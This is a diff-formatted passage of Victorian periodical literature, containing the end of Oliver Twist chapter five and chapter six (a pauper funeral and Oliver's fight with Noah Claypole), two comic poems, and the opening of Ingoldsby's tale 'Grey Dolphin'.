+Mrs. Sowerberry, who had a good deal of taste in the undertaking way,
+was much struck by the novelty of the idea; but, as it would have been
+compromising her dignity to have said so under existing circumstances,
+she merely inquired with much sharpness why such an obvious suggestion
+had not presented itself to her husband's mind before. Mr. Sowerberry
+rightly construed this as an acquiescence in his proposition: it was
+speedily determined that Oliver should be at once initiated into the
+mysteries of the profession, and, with this view, that he should
+accompany his master on the very next occasion of his services being
+required.
+
+The occasion was not long in coming; for, half an hour after breakfast
+next morning, Mr. Bumble entered the shop, and supporting his cane
+against the counter, drew forth his large leathern pocket-book, from
+which he selected a small scrap of paper which he handed over to
+Sowerberry.
+
+"Aha!" said the undertaker, glancing over it with a lively countenance;
+"an order for a coffin, eh?"
+
+"For a coffin first, and a porochial funeral afterwards," replied Mr.
+Bumble, fastening the strap of the leathern pocket-book, which, like
+himself, was very corpulent.
+
+"Bayton," said the undertaker, looking from the scrap of paper to Mr.
+Bumble; "I never heard the name before."
+
+Bumble shook his head as he replied, "Obstinate people, Mr. Sowerberry,
+very obstinate; proud, too, I'm afraid, sir."
+
+"Proud, eh?" exclaimed Mr. Sowerberry with a sneer.--"Come, that's too
+much."
+
+"Oh, it's sickening," replied the beadle; "perfectly antimonial, Mr.
+Sowerberry."
+
+"So it is," acquiesced the undertaker.
+
+"We only heard of them the night before last," said the beadle; "and we
+shouldn't have known anything about them then, only a woman who lodges
+in the same house made an application to the porochial committee for
+them to send the porochial surgeon to see a woman as was very bad. He
+had gone out to dinner; but his 'prentice, which is a very clever lad,
+sent 'em some medicine in a blacking-bottle, off-hand."
+
+"Ah, there's promptness," said the undertaker.
+
+"Promptness, indeed!" replied the beadle. "But what's the consequence;
+what's the ungrateful behaviour of these rebels, sir? Why, the husband
+sends back word that the medicine won't suit his wife's complaint, and
+so she shan't take it--says she shan't take it, sir. Good, strong,
+wholesome medicine, as was given with great success to two Irish
+labourers and a coalheaver only a week before--sent 'em for nothing,
+with a blacking-bottle in,--and he sends back word that she shan't take
+it, sir."
+
+As the flagrant atrocity presented itself to Mr. Bumble's mind in full
+force, he struck the counter sharply with his cane, and became flushed
+with indignation.
+
+"Well," said the undertaker, "I ne--ver--did----"
+
+"Never did, sir!" ejaculated the beadle,--"no, nor nobody never did;
+but, now she's dead, we've got to bury her, and that's the direction,
+and the sooner it's done, the better."
+
+Thus saying, Mr. Bumble put on his cocked-hat wrong side first, in a
+fever of parochial excitement, and flounced out of the shop.
+
+"Why, he was so angry, Oliver, that he forgot even to ask after you,"
+said Mr. Sowerberry, looking after the beadle as he strode down the
+street.
+
+"Yes, sir," replied Oliver, who had carefully kept himself out of
+sight during the interview, and who was shaking from head to foot at
+the mere recollection of the sound of Mr. Bumble's voice. He needn't
+have taken the trouble to shrink from Mr. Bumble's glance, however;
+for that functionary on whom the prediction of the gentleman in the
+white waistcoat had made a very strong impression, thought that now the
+undertaker had got Oliver upon trial, the subject was better avoided,
+until such time as he should be firmly bound for seven years, and all
+danger of his being returned upon the hands of the parish should be thus
+effectually and legally overcome.
+
+"Well," said Mr. Sowerberry, taking up his hat, "the sooner this job
+is done, the better. Noah, look after the shop. Oliver, put on your
+cap, and come with me." Oliver obeyed; and followed his master on his
+professional mission.
+
+They walked on for some time through the most crowded and densely
+inhabited part of the town, and then striking down a narrow street more
+dirty and miserable than any they had yet passed through, paused to look
+for the house which was the object of their search. The houses on either
+side were high and large, but very old; and tenanted by people of the
+poorest class, as their neglected appearance would have sufficiently
+denoted without the concurrent testimony afforded by the squalid looks
+of the few men and women who, with folded arms and bodies half doubled,
+occasionally skulked like shadows along. A great many of the tenements
+had shop-fronts; but they were fast closed, and mouldering away: only
+the upper rooms being inhabited. Others, which had become insecure
+from age and decay, were prevented from falling into the street by
+huge beams of wood which were reared against the tottering walls, and
+firmly planted in the road; but even these crazy dens seemed to have
+been selected as the nightly haunts of some houseless wretches, for many
+of the rough boards which supplied the place of door and window, were
+wrenched from their positions to afford an aperture wide enough for the
+passage of a human body. The kennel was stagnant and filthy; the very
+rats that here and there lay putrefying in its rottenness, were hideous
+with famine.
+
+There was neither knocker nor bell-handle at the open door where Oliver
+and his master stopped; so, groping his way cautiously through the
+dark passage, and bidding Oliver keep close to him and not be afraid,
+the undertaker mounted to the top of the first flight of stairs, and,
+stumbling against a door on the landing, rapped at it with his knuckles.
+
+It was opened by a young girl of thirteen or fourteen. The undertaker at
+once saw enough of what the room contained, to know it was the apartment
+to which he had been directed. He stepped in, and Oliver followed him.
+
+There was no fire in the room; but a man was crouching mechanically over
+the empty stove. An old woman, too, had drawn a low stool to the cold
+hearth, and was sitting beside him. There were some ragged children in
+another corner; and in a small recess opposite the door there lay upon
+the ground something covered with an old blanket. Oliver shuddered as
+he cast his eyes towards the place, and crept involuntarily closer to
+his master; for, though it was covered up, the boy _felt_ that it was a
+corpse.
+
+The man's face was thin and very pale; his hair and beard were grizzly,
+and his eyes were blood-shot. The old woman's face was wrinkled, her two
+remaining teeth protruded over her under lip, and her eyes were bright
+and piercing. Oliver was afraid to look at either her or the man,--they
+seemed so like the rats he had seen outside.
+
+"Nobody shall go near her," said the man, starting fiercely up, as the
+undertaker approached the recess. "Keep back! d--n you, keep back, if
+you've a life to lose."
+
+"Nonsense! my good man," said the undertaker, who was pretty well used
+to misery in all its shapes,--"nonsense!"
+
+"I tell you," said the man, clenching his hands, and stamping furiously
+on the floor,--"I tell you I won't have her put into the ground. She
+couldn't rest there. The worms would worry--not eat her,--she is so worn
+away."
+
+The undertaker offered no reply to this raving, but producing a tape
+from his pocket, knelt down for a moment by the side of the body.
+
+"Ah!" said the man, bursting into tears, and sinking on his knees at the
+feet of the dead woman; "kneel down, kneel down--kneel round her every
+one of you, and mark my words. I say she starved to death. I never knew
+how bad she was, till the fever came upon her, and then her bones were
+starting through the skin. There was neither fire nor candle; she died
+in the dark--in the dark. She couldn't even see her children's faces,
+though we heard her gasping out their names. I begged for her in the
+streets, and they sent me to prison. When I came back, she was dying;
+and all the blood in my heart has dried up, for they starved her to
+death. I swear it before the God that saw it,--they starved her!"--He
+twined his hands in his hair, and with a loud scream rolled grovelling
+upon the floor, his eyes fixed, and the foam gushing from his lips.
+
+The terrified children cried bitterly; but the old woman, who had
+hitherto remained as quiet as if she had been wholly deaf to all that
+passed, menaced them into silence; and having unloosened the man's
+cravat, who still remained extended on the ground, tottered towards the
+undertaker.
+
+"She was my daughter," said the old woman, nodding her head in the
+direction of the corpse, and speaking with an idiotic leer, more ghastly
+than even the presence of death itself.--"Lord, Lord!--well, it is
+strange that I who gave birth to her, and was a woman then, should be
+alive and merry now, and she lying there, so cold and stiff! Lord,
+Lord!--to think of it;--it's as good as a play--as good as a play!"
+
+As the wretched creature mumbled and chuckled in her hideous merriment,
+the undertaker turned to go away.
+
+"Stop, stop!" said the old woman in a loud whisper. "Will she be buried
+to-morrow--or next day--or to-night? I laid her out, and I must walk,
+you know. Send me a large cloak--a good warm one, for it is bitter
+cold. We should have cake and wine, too, before we go! Never mind: send
+some bread--only a loaf of bread and a cup of water. Shall we have some
+bread, dear?" she said eagerly, catching at the undertaker's coat, as he
+once more moved towards the door.
+
+"Yes, yes," said the undertaker, "of course; anything, everything." He
+disengaged himself from the old woman's grasp, and, dragging Oliver
+after him, hurried away.
+
+The next day, (the family having been meanwhile relieved with a
+half-quartern loaf and a piece of cheese, left with them by Mr. Bumble
+himself,) Oliver and his master returned to the miserable abode, where
+Mr. Bumble had already arrived, accompanied by four men from the
+workhouse, who were to act as bearers. An old black cloak had been
+thrown over the rags of the old woman and the man; the bare coffin
+having been screwed down, was then hoisted on the shoulders of the
+bearers, and carried down stairs into the street.
+
+"Now, you must put your best leg foremost, old lady," whispered
+Sowerberry in the old woman's ear; "we are rather late, and it won't do
+to keep the clergyman waiting. Move on, my men,--as quick as you like."
+
+Thus directed, the bearers trotted on, under their light burden, and the
+two mourners kept as near them as they could. Mr. Bumble and Sowerberry
+walked at a good smart pace in front; and Oliver, whose legs were not as
+long as his master's, ran by the side.
+
+There was not so great a necessity for hurrying as Mr. Sowerberry had
+anticipated, however; for when they reached the obscure corner of the
+churchyard in which the nettles grew, and the parish graves were made,
+the clergyman had not arrived, and the clerk, who was sitting by the
+vestry-room fire, seemed to think it by no means improbable that it
+might be an hour or so before he came. So they set the bier down on the
+brink of the grave; and the two mourners waited patiently in the damp
+clay with a cold rain drizzling down, while the ragged boys, whom the
+spectacle had attracted into the churchyard, played a noisy game at
+hide-and-seek among the tombstones, or varied their amusements jumping
+backwards and forwards over the coffin. Mr. Sowerberry and Bumble, being
+personal friends of the clerk, sat by the fire with him, and read the
+paper.
+
+At length, after the lapse of something more than an hour, Mr. Bumble,
+and Sowerberry, and the clerk, were seen running towards the grave;
+and immediately afterwards the clergyman appeared, putting on his
+surplice as he came along. Mr Bumble then threshed a boy or two, to
+keep up appearances; and the reverend gentleman, having read as much of
+the burial service as could be compressed into four minutes, gave his
+surplice to the clerk, and ran away again.
+
+"Now, Bill," said Sowerberry to the grave-digger, "fill up."
+
+It was no very difficult task, for the grave was so full that the
+uppermost coffin was within a few feet of the surface. The grave-digger
+shovelled in the earth, stamped it loosely down with his feet,
+shouldered his spade, and walked off, followed by the boys, who murmured
+very loud complaints at the fun being over so soon.
+
+"Come, my good fellow," said Bumble, tapping the man on the back, "they
+want to shut up the yard."
+
+The man, who had never once moved since he had taken his station by
+the grave side, started, raised his head, stared at the person who had
+addressed him, walked forward for a few paces, and then fell down in a
+fit. The crazy old woman was too much occupied in bewailing the loss of
+her cloak (which the undertaker had taken off) to pay him any attention;
+so they threw a can of cold water over him, and when he came to, saw him
+safely out of the churchyard, locked the gate, and departed on their
+different ways.
+
+"Well, Oliver," said Sowerberry, as they walked home, "how do you like
+it?"
+
+"Pretty well, thank you, sir," replied Oliver, with considerable
+hesitation. "Not very much, sir."
+
+"Ah, you'll get used to it in time, Oliver," said Sowerberry. "Nothing
+when you _are_ used to it, my boy."
+
+Oliver wondered in his own mind whether it had taken a very long time to
+get Mr. Sowerberry used to it; but he thought it better not to ask the
+question, and walked back to the shop, thinking over all he had seen and
+heard.
+
+
+                        CHAPTER THE SIXTH.
+
+   OLIVER, BEING GOADED BY THE TAUNTS OF NOAH, ROUSES INTO ACTION,
+                    AND RATHER ASTONISHES HIM.
+
+It was a nice sickly season just at this time. In commercial phrase,
+coffins were looking up; and, in the course of a few weeks, Oliver had
+acquired a great deal of experience. The success of Mr. Sowerberry's
+ingenious speculation exceeded even his most sanguine hopes. The
+oldest inhabitants recollected no period at which measles had been so
+prevalent, or so fatal to infant existence; and many were the mournful
+processions which little Oliver headed in a hat-band reaching down
+to his knees, to the indescribable admiration and emotion of all the
+mothers in the town. As Oliver accompanied his master in most of his
+adult expeditions too, in order that he might acquire that equanimity of
+demeanour and full command of nerve which are so essential to a finished
+undertaker, he had many opportunities of observing the beautiful
+resignation and fortitude with which some strong-minded people bear
+their trial and losses.
+
+For instance, when Sowerberry had an order for the burial of some
+rich old lady or gentleman, who was surrounded by a great number of
+nephews and nieces, who had been perfectly inconsolable during the
+previous illness, and whose grief had been wholly irrepressible even
+on the most public occasions, they would be as happy among themselves
+as need be--quite cheerful and contented, conversing together with as
+much freedom and gaiety as if nothing whatever had happened to disturb
+them. Husbands, too, bore the loss of their wives with the most heroic
+calmness; and wives, again, put on weeds for their husbands, as if, so
+far from grieving in the garb of sorrow, they had made up their minds
+to render it as becoming and attractive as possible. It was observable,
+too, that ladies and gentlemen who were in passions of anguish during
+the ceremony of interment, recovered almost as soon as they reached
+home, and became quite composed before the tea-drinking was over. All
+this was very pleasant and improving to see; and Oliver beheld it with
+great admiration.
+
+That Oliver Twist was moved to resignation by the example of these good
+people, I cannot, although I am his biographer, undertake to affirm
+with any degree of confidence; but I can most distinctly say, that
+for some weeks he continued meekly to submit to the domination and
+ill-treatment of Noah Claypole, who used him far worse than ever, now
+that his jealousy was roused by seeing the new boy promoted to the black
+stick and hat-band, while he, the old one, remained stationary in the
+muffin-cap and leathers. Charlotte treated him badly because Noah did;
+and Mrs. Sowerberry was his decided enemy because Mr. Sowerberry was
+disposed to be his friend: so, between these three on one side, and a
+glut of funerals on the other, Oliver was not altogether as comfortable
+as the hungry pig was, when he was shut up by mistake in the grain
+department of a brewery.
+
+And now I come to a very important passage in Oliver's history, for I
+have to record an act, slight and unimportant perhaps in appearance,
+but which indirectly produced a most material change in all his future
+prospects and proceedings.
+
+One day Oliver and Noah had descended into the kitchen, at the usual
+dinner-hour, to banquet upon a small joint of mutton--a pound and a
+half of the worst end of the neck; when, Charlotte being called out of
+the way, there ensued a brief interval of time, which Noah Claypole,
+being hungry and vicious, considered he could not possibly devote to a
+worthier purpose than aggravating and tantalising young Oliver Twist.
+
+Intent upon this innocent amusement, Noah put his feet on the
+table-cloth, and pulled Oliver's hair, and twitched his ears, and
+expressed his opinion that he was a "sneak," and furthermore announced
+his intention of coming to see him hung whenever that desirable event
+should take place, and entered upon various other topics of petty
+annoyance, like a malicious and ill-conditioned charity-boy as he was.
+But, none of these taunts producing the desired effect of making Oliver
+cry, Noah attempted to be more facetious still, and in this attempt
+did what many small wits, with far greater reputations than Noah
+notwithstanding, do to this day when they want to be funny;--he got
+rather personal.
+
+"Work'us," said Noah, "how's your mother?"
+
+"She's dead," replied Oliver; "don't you say anything about her to me!"
+
+Oliver's colour rose as he said this; he breathed quickly, and there was
+a curious working of the mouth and nostrils, which Mr. Claypole thought
+must be the immediate precursor of a violent fit of crying. Under this
+impression he returned to the charge.
+
+"What did she die of, work'us?" said Noah.
+
+"Of a broken heart, some of our old nurses told me," replied Oliver,
+more as if he were talking to himself than answering Noah. "I think I
+know what it must be to die of that!"
+
+"Tol de rol lol lol, right fol lairy, work'us," said Noah, as a tear
+rolled down Oliver's cheek. "What's set you a snivelling now?"
+
+"Not _you_," replied Oliver, hastily brushing the tear away. "Don't
+think it."
+
+"Oh, not me, eh?" sneered Noah.
+
+"No, not you," replied Oliver, sharply. "There; that's enough. Don't say
+anything more to me about her; you'd better not!"
+
+"Better not!" exclaimed Noah. "Well! better not! work'us; don't be
+impudent. _Your_ mother, too! She was a nice 'un, she was. Oh, Lor!"
+And here Noah nodded his head expressively, and curled up as much of
+his small red nose as muscular action could collect together for the
+occasion.
+
+"Yer know, work'us," continued Noah, emboldened by Oliver's silence,
+and speaking in a jeering tone of affected pity--of all tones the most
+annoying--"Yer know, work'us, it carn't be helped now, and of course yer
+couldn't help it then, and I'm very sorry for it, and I'm sure we all
+are, and pity yer very much. But yer must know, work'us, your mother was
+a regular right-down bad 'un."
+
+"What did you say?" inquired Oliver, looking up very quickly.
+
+"A regular right-down bad 'un, work'us," replied Noah, coolly; "and it's
+a great deal better, work'us, that she died when she did, or else she'd
+have been hard labouring in Bridewell, or transported, or hung, which is
+more likely than either, isn't it?"
+
+Crimson with fury, Oliver started up, overthrew chair and table, seized
+Noah by the throat, shook him in the violence of his rage till his teeth
+chattered in his head, and, collecting his whole force into one heavy
+blow, felled him to the ground.
+
+A minute ago the boy had looked the quiet, mild, dejected creature that
+harsh treatment had made him. But his spirit was roused at last; the
+cruel insult to his dead mother had set his blood on fire. His breast
+heaved, his attitude was erect, his eye bright and vivid, and his whole
+person changed, as he stood glaring over the cowardly tormentor that lay
+crouching at his feet, and defied him with an energy he had never known
+before.
+
+"He'll murder me!" blubbered Noah. "Charlotte! missis! here's the new
+boy a-murdering me! Help! help! Oliver's gone mad! Char--lotte!"
+
+Noah's shouts were responded to, by a loud scream from Charlotte, and a
+louder from Mrs. Sowerberry; the former of whom rushed into the kitchen
+by a side-door, while the latter paused on the staircase till she was
+quite certain that it was consistent with the preservation of human life
+to come further down.
+
+"Oh, you little wretch!" screamed Charlotte, seizing Oliver with her
+utmost force, which was about equal to that of a moderately strong
+man in particularly good training,--"Oh, you little un-grate-ful,
+mur-de-rous, hor-rid villain!" and between every syllable Charlotte gave
+Oliver a blow with all her might, and accompanied it with a scream for
+the benefit of society.
+
+Charlotte's fist was by no means a light one; but, lest it should not be
+effectual in calming Oliver's wrath, Mrs. Sowerberry plunged into the
+kitchen, and assisted to hold him with one hand, while she scratched his
+face with the other; and in this favourable position of affairs Noah
+rose from the ground, and pummeled him from behind.
+
+This was rather too violent exercise to last long; so, when they
+were all three wearied out, and could tear and beat no longer, they
+dragged Oliver, struggling and shouting, but nothing daunted, into
+the dust-cellar, and there locked him up; and this being done, Mrs.
+Sowerberry sunk into a chair, and burst into tears.
+
+"Bless her, she's going off!" said Charlotte. "A glass of water, Noah,
+dear. Make haste."
+
+"Oh, Charlotte," said Mrs. Sowerberry, speaking as well as she could
+through a deficiency of breath and a sufficiency of cold water, which
+Noah had poured over her head and shoulders,--"Oh, Charlotte, what a
+mercy we have not been all murdered in our beds!"
+
+"Ah, mercy, indeed, ma'am," was the reply. "I only hope this'll teach
+master not to have any more of these dreadful creatures that are born to
+be murderers and robbers from their very cradle. Poor Noah! he was all
+but killed, ma'am, when I came in."
+
+"Ah, poor fellow!" said Mrs. Sowerberry, looking piteously on the
+charity-boy.
+
+Noah, whose top waistcoat-button might have been somewhere on a level
+with the crown of Oliver's head, rubbed his eyes with the inside of his
+wrists while this commiseration was bestowed upon him, and performed
+some very audible tears and sniffs.
+
+"What's to be done!" exclaimed Mrs. Sowerberry. "Your master's not at
+home--there's not a man in the house,--and he'll kick that door down in
+ten minutes." Oliver's vigorous plunges against the bit of timber in
+question rendered this occurrence highly probable.
+
+"Dear, dear! I don't know, ma'am," said Charlotte, "unless we send for
+the police-officers."
+
+"Or the millingtary," suggested Mr. Claypole.
+
+"No, no," said Mrs. Sowerberry, bethinking herself of Oliver's old
+friend; "run to Mr. Bumble, Noah, and tell him to come here directly,
+and not to lose a minute; never mind your cap,--make haste. You can hold
+a knife to that black eye as you run along, and it'll keep the swelling
+down."
+
+Noah stopped to make no reply, but started off at his fullest speed;
+and very much it astonished the people who were out walking, to see a
+charity-boy tearing through the streets pell-mell, with no cap on his
+head, and a clasp-knife at his eye.
+
+
+
+
+               A CONTRADICTION.
+
+    Bent upon extra thousands netting,
+      Graspall's the oddest mortal living!
+    His only object seems _for-getting_--
+      How strange he should not be _for-giving_!
+                                                 H. II.
+
+
+
+
+          THE GRAND CHAM OF TARTARY, AND THE HUMBLE-BEE.
+
+               _Abridged from the voluminous
+            Epic Poem by Beg-beg (formerly a mendicant
+            ballad-singer, afterwards Principal Lord Rector
+            of the University of Samarcand, and subsequently
+            Historiographer and Poet Laureate to the Court of
+            Balk,)                      by C. J. Davids, Esq._
+
+                          I.
+    The great Tartar chief, on a festival day,
+    Gave a spread to his court, and resolv'd to be gay;
+    But, just in the midst of their music and glee,
+    The mirth was upset by a humble-bee--
+                          A humble-bee--
+    They were bored by a rascally _humble-bee_!
+
+                         II.
+    This riotous bee was so wanting in sense
+    As to fly at the Cham with malice prepense:
+    Said his highness, "My fate will be _felo-de-se_,
+    If I'm thus to be teas'd by a humble-bee--
+                          A humble-bee--
+    How _shall_ I get rid of the humble-bee!"
+
+                        III.
+    The troops in attendance, with sabre and spear,
+    Were order'd to harass the enemy's rear:
+    But the brave body-guards were forced to flee--
+    They were all so afraid of the humble-bee--
+                          The humble-bee--
+    The soldiers were scar'd by the humble-bee.
+
+                         IV.
+    The solicitor-general thought there was reason
+    For indicting the scamp on a charge of high-treason;
+    While the chancellor _doubted_ if any decree
+    From the woolsack would frighten the humble-bee--
+                          The humble-bee--
+    So the lawyers fought shy of the humble-bee.
+
+                          V.
+    The Cham from his throne in an agony rose,
+    While the insect was buzzing right under his nose:--
+    "Was ever a potentate plagued like me,
+    Or worried to death by a humble-bee!
+                          A humble-bee--
+    Don't let me be stung by the humble-bee!"
+
+                         VI.
+    He said to a page, nearly choking with grief,
+    "Bring hither my valiant commander-in-chief;
+    And say that I'll give him a liberal fee,
+    To cut the throat of this humble-bee--
+                          This humble-bee--
+    This turbulent, Jacobin, humble-bee!"
+
+                        VII.
+    His generalissimo came at the summons,
+    And, cursing the courtiers for cowardly _rum-uns_,
+    "My liege," said he, "it's all fiddle-de-dee
+    To make such a fuss for a humble-bee--
+                          A humble-bee--
+    I don't care a d--n for the humble-bee!"
+
+                        VIII.
+    The veteran rush'd sword in hand on the foe,
+    And cut him in two with a desperate blow.
+    His master exclaim'd, "I'm delighted to see
+    How neatly you've settled the humble-bee!"
+                          The humble-bee--
+    So there was an end of the humble-bee.
+
+                         IX.
+    By the doctor's advice (which was prudent and right)
+    His highness retired very early that night:
+    For they got him to bed soon after his tea,
+    And he dream'd all night of the humble-bee--
+                          The humble-bee--
+    He saw the grim ghost of the humble-bee.
+
+                        MORAL.
+    Seditious disturbers, mind well what you're _arter_--
+    Lest, humming a prince, you by chance catch a _Tartar_.
+    Consider, when planning an impudent spree,
+    You may get the same luck as the humble-bee--
+                          The humble-bee--
+    Remember the doom of the humble-bee!
+
+
+
+
+           THE DUMB WAITER.
+
+    I can not really understand,
+      (Said Henry to his aunt,)
+    Why a dumb waiter this is called,--
+      Upon my word, I can't;
+    For I have heard you often say
+      It _answers_ very well.
+    Why, then, the waiter is called _dumb_,
+      I cannot think, or tell.
+
+    Between you, boy, this difference know,--
+      For once attention lending,--
+    While without _speaking_ this _attends_,
+      You _speak_ without _attending_.
+
+
+
+
+                 FAMILY STORIES.--No. III.
+
+                      GREY DOLPHIN.
+                 BY THOMAS INGOLDSBY, ESQ.
+
+"He won't--won't he? Then bring me my boots!" said the Baron.
+
+Consternation was at its height in the castle of Shurland--a caitiff had
+dared to disobey the Baron! and--the Baron had called for his boots!
+
+A thunderbolt in the great hall had been a _bagatelle_ to it.
+
+A few days before, a notable miracle had been wrought in the
+neighbourhood; and in those times miracles were not so common as
+they are now:--no Royal Balloons, no steam, no railroads,--while the
+few Saints who took the trouble to walk with their heads under their
+arms, or pull the Devil by the nose, scarcely appeared above once in a
+century:--so it made the greater sensation.
+
+The clock had done striking twelve, and the Clerk of Chatham was
+untrussing his points preparatory to seeking his truckle-bed: a
+half-emptied tankard of mild ale stood at his elbow, the roasted
+crab yet floating on its surface. Midnight had surprised the worthy
+functionary while occupied in discussing it, and with the task yet
+unaccomplished. He meditated a mighty draught: one hand was fumbling
+with his tags, while the other was extended in the act of grasping the
+jorum, when a knock on the portal, solemn and sonorous, arrested his
+fingers. It was repeated thrice ere Emanuel Saddleton had presence of
+mind sufficient to inquire who sought admittance at that untimeous hour.
+
+"Open! open! good Clerk of St. Bridget's," said a female voice, small,
+yet distinct and sweet,--"an excellent thing in woman."
+
+The clerk arose, crossed to the doorway, and undid the latchet.
+
+On the threshold stood a lady of surpassing beauty: her robes were
+rich, and large, and full; and a diadem, sparkling with gems that shed
+a halo around, crowned her brow: she beckoned the clerk as he stood in
+astonishment before her.
+
+"Emanuel!" said the lady; and her tones sounded like those of a silver
+flute. "Emanuel Saddleton, truss up your points, and follow me!"
+
+The worthy clerk stared aghast at the vision; the purple robe, the
+cymar, the coronet,--above all, the smile;--no, there was no mistaking
+her; it was the blessed St. Bridget herself!
+
+And what could have brought the sainted lady out of her warm shrine at
+such a time of night? and on such a night? for it was as dark as pitch,
+and, metaphorically speaking, "rained cats and dogs."
+
+Emanuel could not speak, so he looked the question.
+
+"No matter for that," said the Saint, answering to his thought. "No
+matter for that, Emanuel Saddleton; only follow me, and you'll see."
+
+The clerk turned a wistful eye at the corner-cupboard.
+
+"Oh, never mind the lantern, Emanuel; you'll not want it: but you may
+bring a mattock and shovel." As she spoke, the beautiful apparition held
+up her delicate hand. From the tip of each of her long taper fingers
+issued a lambent flame of such surpassing brilliancy as would have
+plunged a whole gas company into despair--it was a "Hand of Glory,"
+such a one as tradition tells us yet burns in Rochester Castle every
+St. Mark's Eve. Many are the daring individuals who have watched in
+Gundulph's Tower, hoping to find it, and the treasure it guards;--but
+none of them ever did.
+
+"This way, Emanuel!" and a flame of peculiar radiance streamed from her
+little finger as it pointed to the pathway leading to the churchyard.
+
+Saddleton shouldered his tools, and followed in silence.
+
+The cemetery of St. Bridget's was some half-mile distant from the
+clerk's domicile, and adjoined a chapel dedicated to that illustrious
+lady, who, after leading but a so-so life, had died in the odour of
+sanctity. Emanuel Saddleton was fat and scant of breath, the mattock was
+heavy, and the saint walked too fast for him: he paused to take second
+wind at the end of the first furlong.
+
+"Emanuel," said the holy lady good-humouredly, for she heard him
+puffing; "rest a while, Emanuel, and I'll tell you what I want with you."
+
+Her auditor wiped his brow with the back of his hand, and looked all
+attention and obedience.
+
+"Emanuel," continued she, "what did you and Father Fothergill, and the
+rest of you, mean yesterday by burying that drowned man so close to me?
+He died in mortal sin, Emanuel; no shrift, no unction, no absolution:
+why, he might as well have been excommunicated. He plagues me with his
+grinning, and I can't have any peace in my shrine. You must howk him up
+again, Emanuel!"
+
+"To be sure, madam,--my lady,--that is, your holiness," stammered
+Saddleton, trembling at the thought of the task assigned him. "To he
+sure, your ladyship; only--that is--"
+
+"Emanuel," said the Saint, "you'll do my bidding; or it would be better
+you had!" and her eye changed from a dove's eye to that of a hawk, and
+a flash came from it as bright as the one from her little finger. The
+Clerk shook in his shoes, and, again dashing the cold perspiration from
+his brow, followed the footsteps of his mysterious guide.
+
+       *       *       *       *       *
+
+The next morning all Chatham was in an uproar. The Clerk of St.
+Bridget's had found himself at home at daybreak, seated in his own
+arm-chair, the fire out, and--the tankard of ale quite exhausted.
+Who had drunk it? Where had he been? How had he got home?--all was a
+mystery: he remembered "a mass of things, but nothing distinctly;" all
+was fog and fantasy. What he could clearly recollect was, that he had
+dug up the grinning sailor, and that the Saint had helped to throw him
+into the river again. All was thenceforth wonderment and devotion.
+Masses were sung, tapers were kindled, bells were tolled; the monks
+of St. Romuald had a solemn procession, the abbot at their head, the
+sacristan at their tail, and the holy breeches of St. Thomas-à-Becket
+in the centre; Father Fothergill brewed a XXX puncheon of holy-water.
+The Rood of Gillingham was deserted; the chapel of Rainham forsaken;
+every one who had a soul to be saved flocked with his offering to St.
+Bridget's shrine, and Emanuel Saddleton gathered more fees from the
+promiscuous piety of that one week than he had pocketed during the
+twelve preceding months.
+
+Meanwhile the corpse of the ejected reprobate oscillated like a pendulum
+between Sheerness and Gillingham Reach. Now borne by the Medway into the
+Western Swale, now carried by the refluent tide back to the vicinity
+of its old quarters, it seemed as though the River god and Neptune
+were amusing themselves with a game of subaqueous battledore, and had
+chosen this unfortunate carcass as a marine shuttlecock. For some time
+the alternation was kept up with great spirit, till Boreas, interfering
+in the shape of a stiffish "Nor'-wester," drifted the bone (and flesh)
+of contention ashore on the Shurland domain, where it lay in all the
+majesty of mud. It was soon discovered by the retainers, and dragged
+from its oozy bed, grinning worse than ever. Tidings of the god-send
+were of course carried instantly to the castle, for the Baron was a very
+great man; and if a dun crow had flown across his property unannounced
+by the warder, the Baron would have kicked him, the said warder, from
+the topmost battlement into the bottommost ditch,--a descent of peril,
+and one which "Ludwig the leaper," or the illustrious Trenk himself,
+might well have shrunk from encountering.
+
+"An't please your lordship--" said Peter Periwinkle.
+
+"No, villain! it does not please me!" roared the Baron.
+
+His lordship was deeply engaged with a peck of Feversham oysters,--he
+doted on shellfish, hated interruption at meals, and had not yet
+despatched more than twenty dozen of the "natives."
+
+"There's a body, my lord, washed ashore in the lower creek," said the
+seneschal.
+
+The Baron was going to throw the shells at his head; but paused in the
+act, and said with much dignity,
+
+"Turn out the fellow's pockets!"
+
+But the defunct had before been subjected to the double scrutiny of
+Father Fothergill and the Clerk of St. Bridget's. It was ill gleaning
+after such hands; there was not a single marvedi.
+
+We have already said that Sir Ralph de Shurland, Lord of the Isle
+of Sheppey, and of many a fair manor on the main-land, was a man of
+worship. He had rights of freewarren, saccage and sockage, cuisage and
+jambage, fosse and fork, infang theofe and outfang theofe; and all waifs
+and strays belonged to him in fee simple.
+
+"Turn out his pockets!" said the Knight.
+
+"Please you, my lord, I must say as how they was turned out afore, and
+the devil a rap's left."
+
+"Then bury the blackguard!"
+
+"Please your lordship, he has been buried once."
+
+"Then bury him again, and be----!" The Baron bestowed a benediction.
+
+The seneschal bowed low as he left the room, and the Baron went on with
+his oysters.
+
+Scarce ten dozen more had vanished when Periwinkle reappeared.
+
+"An't please you, my lord, Father Fothergill says as how that it's the
+Grinning Sailor, and he won't bury him anyhow."
+
+"Oh! he won't--won't he?" said the Baron. Can it be wondered at that he
+called for his boots?
+
+Sir Ralph de Shurland, Lord of Shurland and Minster, Baron of Sheppey
+_in comitatu_ Kent, was, as has been before hinted, a very great man.
+He was also a very little man; that is, he was relatively great and
+relatively little,--or physically little and metaphorically great,--like
+Sir Sidney Smith and the late Mr. Bonaparte. To the frame of a dwarf he
+united the soul of a giant and the valour of a gamecock. Then, for so
+small a man, his strength was prodigious; his fist would fell an ox, and
+his kick--oh! his kick was tremendous, and, when he had his boots on,
+would,--to use an expression of his own, which he had picked up in the
+holy wars,--would send a man from Jericho to June. He was bull-necked
+and bandy-legged; his chest was broad and deep, his head large, and
+uncommonly thick, his eyes a little blood-shot, and his nose _retrousé_
+with a remarkably red tip. Strictly speaking, the Baron could not be
+called handsome; but his _tout ensemble_ was singularly impressive: and
+when he called for his boots, everybody trembled, and dreaded the worst.
+
+"Periwinkle," said the Baron, as he encased his better leg, "let the
+grave be twenty feet deep!"
+
+"Your lordship's command is law."
+
+"And, Periwinkle,"--Sir Ralph stamped his left heel into its
+receptacle,--"and, Periwinkle, see that it be wide enough to hold not
+exceeding two!"
+
+"Ye--ye--yes, my lord."
+
+"And, Periwinkle,--tell Father Fothergill I would fain speak with his
+reverence."
+
+"Ye--ye--yes, my lord."
+
+The Baron's beard was picked, and his moustaches, stiff and stumpy,
+projected horizontally like those of a Tom-cat; he twirled the one,
+stroked the other, drew the buckle of his surcingle a thought tighter,
+and strode down the great staircase three steps at a stride.
+
